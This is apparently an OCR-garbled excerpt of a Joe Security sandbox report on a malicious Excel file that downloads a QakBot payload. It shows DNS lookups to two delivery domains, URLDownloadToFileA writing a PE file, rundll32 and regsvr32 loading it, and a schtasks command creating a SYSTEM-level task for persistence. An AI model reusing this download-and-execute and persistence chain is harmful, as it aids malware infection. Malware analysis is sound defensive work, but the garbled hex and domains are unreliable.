May 12, 2021 13:32:55.694555998 CEST 53 49612 8.8.8.8 192.168.2.4
May 12, 2021 13:33:06.519836903 CEST 49285 53 192.168.2.4 8.8.8.8
May 12, 2021 13:33:06.583713055 CEST 53 49285 8.8.8.8 192.168.2.4
May 12, 2021 13:33:08.224392891 CEST 50601 53 192.168.2.4 8.8.8.8
May 12, 2021 13:33:08.281712055 CEST 53 50601 8.8.8.8 192.168.2.4
May 12, 2021 13:33:32.174385071 CEST 60875 53 192.168.2.4 8.8.8.8
May 12, 2021 13:33:32.250258923 CEST 53 60875 8.8.8.8 192.168.2.4
May 12, 2021 13:33:35.221759081 CEST 56448 53 192.168.2.4 8.8.8.8
May 12, 2021 13:33:35.280333042 CEST 53 56448 8.8.8.8 192.168.2.4
May 12, 2021 13:33:39.987410069 CEST 59172 53 192.168.2.4 8.8.8.8
May 12, 2021 13:33:40.055053949 CEST 53 59172 8.8.8.8 192.168.2.4
May 12, 2021 13:34:15.173784018 CEST 62420 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:15.245922089 CEST 53 62420 8.8.8.8 192.168.2.4
May 12, 2021 13:34:15.844187021 CEST 60579 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:15.896749973 CEST 53 60579 8.8.8.8 192.168.2.4
May 12, 2021 13:34:23.945249081 CEST 50183 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:24.064714909 CEST 53 50183 8.8.8.8 192.168.2.4
May 12, 2021 13:34:25.481246948 CEST 61531 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:25.538827896 CEST 53 61531 8.8.8.8 192.168.2.4
May 12, 2021 13:34:29.043479919 CEST 49228 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:29.102607012 CEST 53 49228 8.8.8.8 192.168.2.4
May 12, 2021 13:34:30.249735117 CEST 59794 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:30.373637915 CEST 53 59794 8.8.8.8 192.168.2.4
May 12, 2021 13:34:31.074817896 CEST 55916 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:31.133188963 CEST 53 55916 8.8.8.8 192.168.2.4
May 12, 2021 13:34:31.924369097 CEST 52752 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:31.984452963 CEST 53 52752 8.8.8.8 192.168.2.4
May 12, 2021 13:34:32.433563948 CEST 60542 53 192.168.2.4 8.8.8.8
May 12, 2021 13:34:32.493552923 CEST 53 60542 8.8.8.8 192.168.2.4
May 12, 2021 13:34:33.583031893 CEST 60689 53 192.168.2.4 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:34:33.640203953 CEST 53 60689 8.8.8.8 192.168.2.4

May 12, 2021 13:34:33.918680906 CEST 64206 53 192.168.2.4 8.8.8.8

May 12, 2021 13:34:33.990600109 CEST 53 64206 8.8.8.8 192.168.2.4

May 12, 2021 13:34:34.687747955 CEST 50904 53 192.168.2.4 8.8.8.8

May 12, 2021 13:34:34.736524105 CEST 53 50904 8.8.8.8 192.168.2.4

May 12, 2021 13:34:35.269757986 CEST 57525 53 192.168.2.4 8.8.8.8

May 12, 2021 13:34:35.337656021 CEST 53 57525 8.8.8.8 192.168.2.4

May 12, 2021 13:34:47.825035095 CEST 53814 53 192.168.2.4 8.8.8.8

May 12, 2021 13:34:47.883009911 CEST 53 53814 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 12, 2021 13:32:31.023514032 CEST 192.168.2.4 8.8.8.8 Oxe7e0 Standard query  signifysys A (IP address) IN (0x0001)
0) tem.com

May 12, 2021 13:32:32.547735929 CEST 192.168.2.4 8.8.8.8 0xf80c Standard query  fcventasys A (IP address) IN (0x0001)
0) ervicios.cl

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 12, 2021 8.8.8.8 192.168.2.4 Oxe7e0 No error (0) signifysys 192.185.39.58 A (IP address)  IN (0x0001)

13:32:31.072433949 tem.com

CEST

May 12, 2021 8.8.8.8 192.168.2.4 0xf80c No error (0) fcventasys 192.185.32.232 A (IP address)  IN (0x0001)

13:32:32.610028028 ervicios.cl

CEST

May 12, 2021 8.8.8.8 192.168.2.4 0x13c3 No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)

13:34:15.245922089 msidentity.com  s.net (Canonical

CEST name)

HTTPS Packets

Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
May 12, 2021 192.185.39.58 443 192.168.2.4 49729 CN=cpcontacts.signifysystem.c CN=R3, O=Let's Thu Apr Wed 771,49196-49195-  37f463bf4616ecd445d4al
13:32:31.429538965 om CN=R3, O=Let's Encrypt, Encrypt, C=US 01 Jun 30  49200-49199- 937da06e19
CEST C=USs CN=DST Root CA 17:00:25 17:00:25 49188-49187-

X3, O=Digital CEST CEST  49192-49191-

Signature Trust 2021 2021 49162-49161-

Co. Wed Oct Wed 49172-49171-157-

07 Sep29 156-61-60-53-47-

21:21:40 21:21:40 10,0-10-11-13-35-
CEST CEST  23-65281,29-23-
2020 2021 24,0

CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct Wed
C=USs X3, O=Digital 07 Sep 29
Signature Trust 21:21:40 21:21:40
Co. CEST CEST
2020 2021
May 12, 2021 192.185.32.232 443 192.168.2.4 49734 CN=mail.fcventasyservicios.cl CN=R3, O=Let's Tue Mar Mon Jun 771,49196-49195- 37f463bf4616ecd445d4al
13:32:32.934375048 CN=R3, O=Let's Encrypt, Encrypt, C=US 16 14 49200-49199- 937da06e19
CEST C=USs CN=DST Root CA 13:01:12 14:01:12 49188-49187-
X3, O=Digital CET CEST  49192-49191-
Signature Trust 2021 2021 49162-49161-
Co. Wed Oct Wed 49172-49171-157-
07 Sep29 156-61-60-53-47-

21:21:40 21:21:40 10,0-10-11-13-35-
CEST CEST  23-65281,29-23-
2020 2021 24,0

CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct Wed
C=USs X3, O=Digital 07 Sep 29
Signature Trust 21:21:40 21:21:40
Co. CEST CEST
2020 2021

Code Manipulations

Statistics
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Behavior

@ EXCEL.EXE
@ rundll32.exe
@ explorer.exe
@ rundll32.exe
@ schtasks.exe
@ conhost.exe
® regsvr32.exe
@ regsvr32.exe
® WerFault.exe
@ regsvr32.exe
@ regsvr32.exe
® WerFault.exe

@

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 6780 Parent PID: 800

General

Start time: 13:32:23

Start date: 12/05/2021

Path: C:\Program Files (x86)\Microsoft Office\Office 16\EXCEL.EXE
Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Microsoft Office\Office 16\EXCEL.EXE' /automation -Embedding
Imagebase: 0xf30000

File size: 27110184 bytes

MD5 hash: 5D6638F2C8F8571C593999C58866007E

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file |  object name collision 1 14BF643 URLDownloadToFileA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\usen\AppData\Local read data or list device directory file|  object name collision 1 14BF643 URLDownloadToFileA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\usen\AppData\Local\Microsoft\Windows\INetCache read data or list device directory file|  object name collision 1 14BF643 URLDownloadToFileA
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path Access

read data or list
directory |
synchronize

C:\Users\user

read data or list
directory |
synchronize

C:\Users\user\AppData\Local

read data or list
directory |
synchronize

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

read data or list
directory |
synchronize

C:\Users\user

read data or list
directory |
synchronize

C:\Users\user\AppData\Local

read data or list
directory |
synchronize

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

read data or list
directory |
synchronize

C:\Users\user

read data or list
directory |
synchronize

C:\Users\user\AppData\Local

read data or list
directory |
synchronize

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\ritofm.cvm read attributes |

synchronize |
generic write

File Deleted

File Path
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content. MSO\923FF3A5.tmp
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content. MSO\FB1C03CO.tmp

Old File Path New File Path
File Written
File Path Offset Length Value

Copyright Joe Security LLC 2021

Attributes

device

device

device

device

device

device

device

device

device

device

Ascii

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

object name collision 1

object name collision 1

object name collision 1

object name collision 1

object name collision 1

object name collision 1

object name collision 1

object name collision 1

object name collision 1

success or wait 1

Completion
success or wait

success or wait

Completion

Completion

Count

Source
Address

14BF643

14BF643

14BF643

14BF643

14BF643

14BF643

14BF643

14BF643

14BF643

14BF643

Count

Symbol
URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

Source
Address Symbol

10A495B DeleteFileW
10A495B DeleteFileW

Source

Count Address Symbol

Source

Count Address Symbol
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\I[E\2WF3MMUU\ue[1].htm

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\2WF3MMUU\ue[1].htm

Copyright Joe Security LLC 2021

Offset Length Value

unknown 8192

unknown 1745

4d 5a 90 00 03 00
00 00 04 00 00 00
ff ff 00 00 b8 00 00
00 00 00 00 00 40
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 b8
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 7320 70 72
6f 67 72 61 6d 20
63 61 6e 6e 6f 74
206265207275
6e 20 69 6e 20 44
4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24
00 00 00 00 00 00
00 5d 8701 72 19
€6 6f 21 19 e6 6f 21
19 e6 6f21 97 f9 7c
2112 e6 6f21 e5
c6 7d 21 18 e6 6f
215269636819
e6 6f 21 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 50 45 00 00 4c
01 02 00 b2 63 8d
60 00 00 00 00 00
00 00 00 e0 00 02
21 0b 01 04 0a 00
aa 05 00 00 20 00
00 00 00 00 00 ee
6b 00 00 00 10 00
00 00 c0 05 00 00
00 00 10 00 10 00
00 00 02 00 00 04
00 00 00 00 00 00

00 52 00 00 00 48
00 00 00 00 df 00
00 00 00 d6 04 dO
00 00 00 4b 00 00
00 f8 00 00 00 00
00 00 00 42 00 d9
00 00 00 00 00 21
00 00 00 00 00 1b
00 00 00 00 00 00
00 00 00 00 00 00
2b 00 c2 00 00 00
00 6e 00 00 b0 00
58 00 00 f1 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 a4 00 00
00 00 00 00 00 00
00 00 00 00 00 cO
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 ee
00 21 00 00 00 00
00 00 00 9¢ 00 00
00 00 00 00 00 00
00 00 00 00 00 6b
a7 8f ea 00 00 00
00 00 00 00 4b 00
1a 00 00 00 00 00
00 00 83 00 00 00
00 00 00 00 00 00
00 00 b2 00 00 f2
00 00 00 00 ee 00
00 00 00 00 40 00
00 67 00 00 52 dd
01 00 00 00 00 94
00 00 00 a0 04 00
00 00 78 00 00 00
00 00 00 4b 00 00
00 c2 e2 00 00 00
00 00 00 00 be 00
00 00 00 00 00 00
00 00 00

. ..L.IThis program
cannot be run in DOS
mode....
$.....].r.ol.ol.ol ..
o!l.}l..o!Rich..o

Completion

success or wait

success or wait

Source

Count Address Symbol

1

2

14BF643 URLDownloadToFileA

14BF643 URLDownloadToFileA
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File Path

C:\Users\user\ritofm.cvm

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\2WF3MMUU\ue[1].htm
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Offset Length Value

unknown 16824 4d 5a 90 00 03 00

unknown 7059

00 00 04 00 00 00
ff ff 00 00 b8 00 00
00 00 00 00 00 40
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 b8
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 7320 70 72
6f 67 72 61 6d 20
63 61 6e 6e 6f 74
206265207275
6e 20 69 6e 20 44
4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24
00 00 00 00 00 00
00 5d 8701 72 19
€6 6f 21 19 e6 6f 21
19 e6 6f21 979 7c
2112 e6 6f21 e5
c6 7d 21 18 e6 6f
215269636819
€6 6f 21 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 50 45 00 00 4c
01 02 00 b2 63 8d
60 00 00 00 00 00
00 00 00 e0 00 02
21 0b 01 04 0a 00
aa 05 00 00 20 00
00 00 00 00 00 ee
6b 00 00 00 10 00
00 00 c0 05 00 00
00 00 10 00 10 00
00 00 02 00 00 04
00 00 00 00 00 00

€507 00 00 ff4d Oc .

ff 4d Oc 29 75 fc 81
45 {8 cf fd ff ff 83 f2
01 f7 45 08 01 00
00 00 21 45 f8 bf 00
00 00 00 89 7d fc
35 b2 06 00 00 ba
00 00 00 00 7 45 f8
11 05 00 00 83 ce
00 81 f1 70 ff ff ff
25 d4 fd ff ff 83 45
8 01 54 ff b3 fc d1
45 00 e8 64 15 00
00 35 01 00 00 00
01 cO ff 45 fc 2d ff ff
ff ff 25 00 00 00 00
Ob 7d f8 25 ff ff ff ff
25 00 00 00 00 b9
00 00 00 00 f7 45 fc
7502 00 00 c7 45
Oc 29 06 00 00 81
ab ac d3 45 00 e0
fc ff ff 5f 5e 5a 59
58 c9 c2 08 00 50
3104e4892ced
8b ec 83 c4 f0 83
65 f0 00 ff 75 fO 31
34 e451290ce4
01 3c e4 57 8b bb
68 ca 45 00 87 3c
e4 8f 45 fc 8b 7d 08
55 89 fd 09 fd 89 ef
5d 75 05 €9 46 01
00 00 51 8b 4f 3¢
57 8f 45 f4 01 4d f4
ff 75 f4 5f 59 8b 47
34 ff 75 fc 29 04 e4
8f 45 fc 89 45 f8 Of
b7 47 14 89

. ..L.IThis program
cannot be run in DOS
mode....
$.....].r.ol.ol.ol L.
o!l.}l..o!Rich..o

M..M.)u..E.

IE. .
...p...%....E.T...E..d..5.
....... -..%....}.%...%...
e EULLLE).
_AZYX...P1...,
.Q)..<W.h.E.<.E.}.U.....
Ju..F..Q.O<W.E..M..u._Y.
G4.u)..E.E..G..

Completion

success or wait

success or wait

Source

Count Address Symbol

1

62

14BF643 URLDownloadToFileA

14BF643 URLDownloadToFileA
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File Path

C:\Users\user\ritofm.cvm

C:\Users\user\ritofm.cvm

File Path

Copyright Joe Security LLC 2021

Offset Length Value Ascii

unknown 44478

unknown 75801

3500000000 ff 5...M.U...E...@)...E.
4d fc 03 55 f4 83
e201c7450cffff ..5...E.....B._"ZYX.
ffff4029d783ab ..U....PQRVW.}..z.s....4.
60 c8 45 00 ff 46 83 E.%......IM.-....E....1.4.E..
e1 00 ff 45 Oc 2d ff
ff ff ff 83 4d 08 ff 81 .
ee 48 07 00 00 81
6d fc b6 000000  ..}...q.1}...
83 ca ff 35 00 00 00

00 f7 45 08 01 00

00 00 83 f7 01 81

€6 42 f9 ff ff 5f 5e

5a 59 58 c9 c2 08

0055 89 e5 83 c4

f8 50 51 52 56 57

81 7d 08 e6 7a 00

00 73 0f 85 cO0 ff 8b

34 ¢5 45 00 25 ff ff

ff ff eb 1a 21 4d f8

2d 01 00 00 00 f7

45 08 ff ff ff ff 31 8b

34 ¢5 45 00 b9 00

00 00 00 c7 45 f8

01 00 00 00 31 dO

89881 bb34c5

45 00 f8 23 00 00

79 16 41 b9 01 00

00 00 83 65 f8 01

83 6d Oc ff 21 b3 34

¢5 45 00 eb 03 83

e7 00 f7 45 fc ff ff ff

ff £7 45 8 01 00 00

00 c7 83 34 c5 45

00 ff ff ff ff 83 65 fc

01 2d 01 00 00 00

ff 8b 34 c5 45 00 81

7d f8 fc a1 00 00 71

05 21 7d 08 eb 01

f604a2be4082 ..@..&...@.@..P.."P.
2e14aa2604aa ...J."..@T"D.D*@..*"T
€2 00 82 04 40 0a
40 04 a2 e6 50 Oa
a6 04 22 6 50 a2 . .
8614a28al4aa &.E....T."DD.D..~T.T
4a 00 22 14 00 82
40 54 22 f6 44 a2
2e442a0e4082 ....*
9e042a22548a ..T.T*&.P..
e2 04 0a 6e 14 22

d6 44 8a e2 14 22

86 40 00 aa 00 Oa

50 40 0a 40 04 a2

€6 10 a2 76 04 22

86 50 a2 86 14 aa

ca 00 00 01 00 82

90 44 2a 8a 04 0a

b6 04 aa 2a 54 82

36 44 a2 d6 04 a2

26 00 aa 45 00 a2

d0 04 a2 Oe 54 0a

22 44 a2 5e 44 a2

86 44 8a ce 00 a2

7e 54 a2 86 54 00

22 00 aa 40 00 a2

c0 04 2a a6 40 82

9e 04 8a 62 04 02

ee 00 aa 86 04 02

3e 54 Oa e6 14 2a

86 14 00 8a 00 2a

15 00 a2 d0 04 a2

Oe 54 2a 22 14 0a

46 04 82 a6 04 2a

2254 82 f6 04 22

6 00 Oa 10 00 a2

c0 04 2a a6 40 82

9e 04 8a 62 04 02

ee 00 aa 86 04 02

3e 54 Oa e6 14 2a

86 14 82 ca 54 aa

a6 54 2a 26 00 Oa

50 00 a2

: n"D.."@..P@.@.

Offset

Completion

success or wait

success or wait

Length

Source
Count Address Symbol

4 14BF643 URLDownloadToFileA

1 14BF643 URLDownloadToFileA
Source

Completion Count Address Symbol
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Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ExdCache
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ExdCache\Excel8.0

Key Value Created

Completion
success or wait

success or wait

Source
Count Address Symbol

1 FA20F4 RegCreateKeyExW
1 FA211C RegCreateKeyExW
Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic MSForms dword success or wait 1 FA213B RegSetValueExW
rosoft\Office\Common\ExdCache\Excel8.0
HKEY_CURRENT_USER\Software\Mic MSComctlLib dword success or wait 1 FA213B RegSetValueExW
rosoft\Office\Common\ExdCache\Excel8.0
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 7104 Parent PID: 6780
General
Start time: 13:32:32
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

rundll32 ..\ritofm.cvm,DIlIRegisterServer
0x10f0000

61952 bytes
D7CA562B0DB4F4DD0OF03A89A1FDAD63D
true

true

C, C++ or other language

e Rule: QakBot, Description: QakBot Payload, Source:

00000001.00000003.708454273.00000000049F0000.00000004.00000001.sdmp, Author:

kevoreilly

Reputation: high

File Activities

Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: explorer.exe PID: 6480 Parent PID: 7104
General
Start time: 13:32:51
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\explorer.exe
0x1080000

3611360 bytes
166AB1B9462E5C1D6D18EC5ECOB6ASF7
true

true

C, C++ or other language

Page 35 of 87



Yara matches:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Roaming\Microsoft\Nztxdksy

File Written

File Path

C:\Users\user\ritofm.cvm

File Read

File Path

C:\Users\user\ritofm.cvm

Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\Ercfoamvdgsfo

Key Value Created

Copyright Joe Security LLC 2021

e Rule: QakBot, Description: QakBot Payload, Source:
00000005.00000002.984573064.0000000000EC0000.00000040.00000001.sdmp, Author:

kevoreilly

high

Access Attributes

read data or list device
directory |
synchronize

Offset Length Value

unknown 395500 4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 b8 00 00 00

Source
Options Completion Count Address
directory file | success or wait 1 EC444A
synchronous io
non alert | open
for backup ident
| open reparse
point
Ascii Completion Count
MZ..oooiiiiiieiens @..... success or wait 1

. .1..L.IThis program
cannot be run in DOS
mode....
$.....].r.ol.ol.ol ..
ol..}l..o'Rich..o!
R [ R

Symbol
CreateDirectoryW

Source
Address Symbol

ED3263 WriteFile

Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24
00 00 00 00 00 00 00
5d 87 01 72 19 e6 6f
2119 e6 6f 21 19 e6 6f
2197 f9 7c 21 12 e6 6f
21e5c67d 21 18 e6
6f 2152 69 63 68 19
e6 6f 21 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 50 45
00 00 4c 01 02 00 b2
63 8d 60 00 00 00 00
00 00 00 00 e0 00 02
21 0b 01 04 0a 00 aa
05 00 00 20 00 00 00
00 00 00 ee 6b 00 00
00 10 00 00 00 c0 05
00 000000 1000 10
00 00 00 02 00 00 04
00 00 00 00 00 00

Offset

unknown

Source
Length Completion Count Address Symbol
395500 success or wait 2 ED3369 ReadFile
Source
Completion Count Address Symbol
success or wait 1 ED165E RegCreateKeyA
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Key Path

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

HKEY_CURRENT_USER\Software\Mic

rosoft\Ercfoamvdgsfo

Key Value Modified

Key Path

HKEY_CURRENT_USER\Softwar d61d2c70

e\Microsoft\Ercfoamvdgsfo

Name

Name

d61d2c70

e382fc3e

597fbb27

2477f4ad

elc3dc42

9cch93c8

5b3e9b5b

a9544386

Type

binary

Type

binary

binary

binary

binary

binary

binary

binary

binary

Old Data

Data

82 95 F4 CF 9D 41 CA C9 33 68 BO
07 5C 79 15 03 4C 73 4A B1 8E 4D
51 B7 15 21 41 EF CF 33 4E 46 A7
BA OA 62 4E EF EF 92 72

AA 56 AC 8D 0C 22 3A 00 B3 99 74
66 68 DA 88 F4 BE 64 36 01 D5 89
4C F3 56 87 27 69 6A C2 6E 02 67
00 E1 FAFF 60 75 91 26 AB DB F5
E4 B8 6F B2 52 F2 9C 8F 16 36 38
88 9A 82 ED 1C 90 45 08 A0 DD A8
4D 2B 5C 46 F4 DA 95 34 4D 53 B8
9A 93 1B 1A E9 B7 65 92 2C A0 50
49 6F OA F8 B2 33 CC 32 8A 58 6D
02 5D 70 8E AE B1 A2 F9 7D 55 95
69 48 F6 35 AA OB F8 3E 11 0D 4F
03 3F DB 7E 31 60 6E 7B OC CC 2A

6F 3E 77 51 DE CD 2C A4 7C 72 D7
E7 9E 69 21 A3 9E F8 3A 3B 67 B9
FA 17 CO AB D2 82 10 77 BF 64 57
22 64 C3 60 0A 3E 3D EE BC 9A 84

62 FO E4 DE 3E CD 6F 7F E6 AB F9
FF 4C AB 2A B5 06 81 CO 2C 34 A2
D3 CB EE BO C9 79 09 2E 9A

O0C EAE1 76 9C 3C 03 D9 DE 25 4C
B6 OE 77 D9 FA 3E 79 CB B9 B3 7F
B7 67 FB 52 BO 4A 90 AF 3C FA FD
12 57 04 DA 1B 9D B0 98 05 E6 D6
05 5B 12 2C A2 94 6A 3A 8F D4 3B
98 97 00 33 13 B7 67 B1 9E 65 21 02
CO0 28 9F 4A F8 90 82 43 67 CE 6D
78 4E F9 DB 70 DD CB F8 E8 FC 37

1D C7 FE 4D 12 87 5A A1 9D C5 A3
B7 81 4E 77 1C E9 EO 4F C8 DF 79
98 B6 F6 01 64 29 6F 4A F1 C7 9C
5E BD 6D 41 4D 1B 66 OF 3A CC 98
A9 1421 E9DB C0746B 10EC 71
1911 F8 BC 1B 0A 7A 36 2B 65 79
53 ED E4 80 F0 02 64 5C 26 BC 60
9F 80 08 A6 01 FF 55 F2 D1 D3 F8
25 35 3B B9 D2

1D 42 43 86 69 9A 45 B6 0A 40 89
35 84 40 E3 80 A9 4D DA CF 1A 8A
D3 AD D4 94 5A C0 23 44 C2 64 2C
B1 FB B4 76 0D DD 73 D6 DA 8C 19
4F 9F 7C F8 84 EO CB 7E 98 89 86
47 6F

9A A2 8D 81 84 12 30 47 F1 67 AD
B9 EO F7 C1 C1 10 65 0A B2 75 64
CE 28 DA 7E AB EC 6A 8E CB 4C
19EA 48 A7228B CAB5317A 15
CAD8C3C1444C1155C23508
15 AA 2C FB DF 0C 5F CD D3 6B

New Data

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

82 95 F4 CF 9D 41 CA C9 33 82 95 E3 CF 9D 41 FF 1D 53 success or wait
68 B0075C7915034C73 A947 C7 C2ES5E249 1696
4AB18E4D51B7 152141 16 7B BF C8 02 03 9E 17 99

EF CF 33 4E 46 A7 BA 0A
62 4E EF EF 92 72

CE 42 7F 99 CF B6 18 C3 81
5E DD ED 1A D1 04 EC 08

3004 20 AAFF 1F BA7E F5
41 A7 76 18 10 93 AC EF 39

Source
Count Address Symbol

1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
1 ED140F RegSetValueExA
Source

Count Address Symbol
1 ED140F RegSetValueExA

Analysis Process: rundll32.exe PID: 5668 Parent PID: 6780

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright Joe Security LLC 2021

13:32:51
12/05/2021

C:\Windows\SysWOW64\rundll32.exe

true

rundll32 ..\ritofm.cvm1,DIIRegisterServer

0x10f0000
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File size: 61952 bytes

MDS5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: schtasks.exe PID: 6500 Parent PID: 6480
General
Start time: 13:32:51
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn frjwqvc /tr
‘regsvr32.exe -s \'C:\Users\user\ritofm.cvm\" /SC ONCE /Z /ST 13:34 /ET 13:46
Imagebase: 0xb40000
File size: 185856 bytes
MDS5 hash: 15FF7D8324231381BAD48A052F85DF04
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: conhost.exe PID: 6512 Parent PID: 6500

General

Start time: 13:32:52

Start date: 12/05/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff724c50000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: regsvr32.exe PID: 4816 Parent PID: 968

General

Start time: 13:32:54

Start date: 12/05/2021

Path: C:\Windows\System32\regsvr32.exe
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Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

regsvr32.exe -s 'C:\Users\user\ritofm.cvm'
0x7ff7585d0000

24064 bytes
D78B75FC68247E8A63ACBA846182740E
true

true

C, C++ or other language

Reputation: high
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\ritofm.cvm unknown 64 success or wait 1 7FF7585D10E3 ReadFile
C:\Users\user\ritofm.cvm unknown 264 success or wait 1 7FF7585D1125 ReadFile
Analysis Process: regsvr32.exe PID: 5132 Parent PID: 4816
General
Start time: 13:32:55
Start date: 12/05/2021
Path: C:\Windows\SysWOW64\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

-s 'C:\Users\user\ritofm.cvm’

0x1200000

20992 bytes
426E7499F6A7346F0410DEAD0O805586B
true

true

C, C++ or other language

Reputation: high
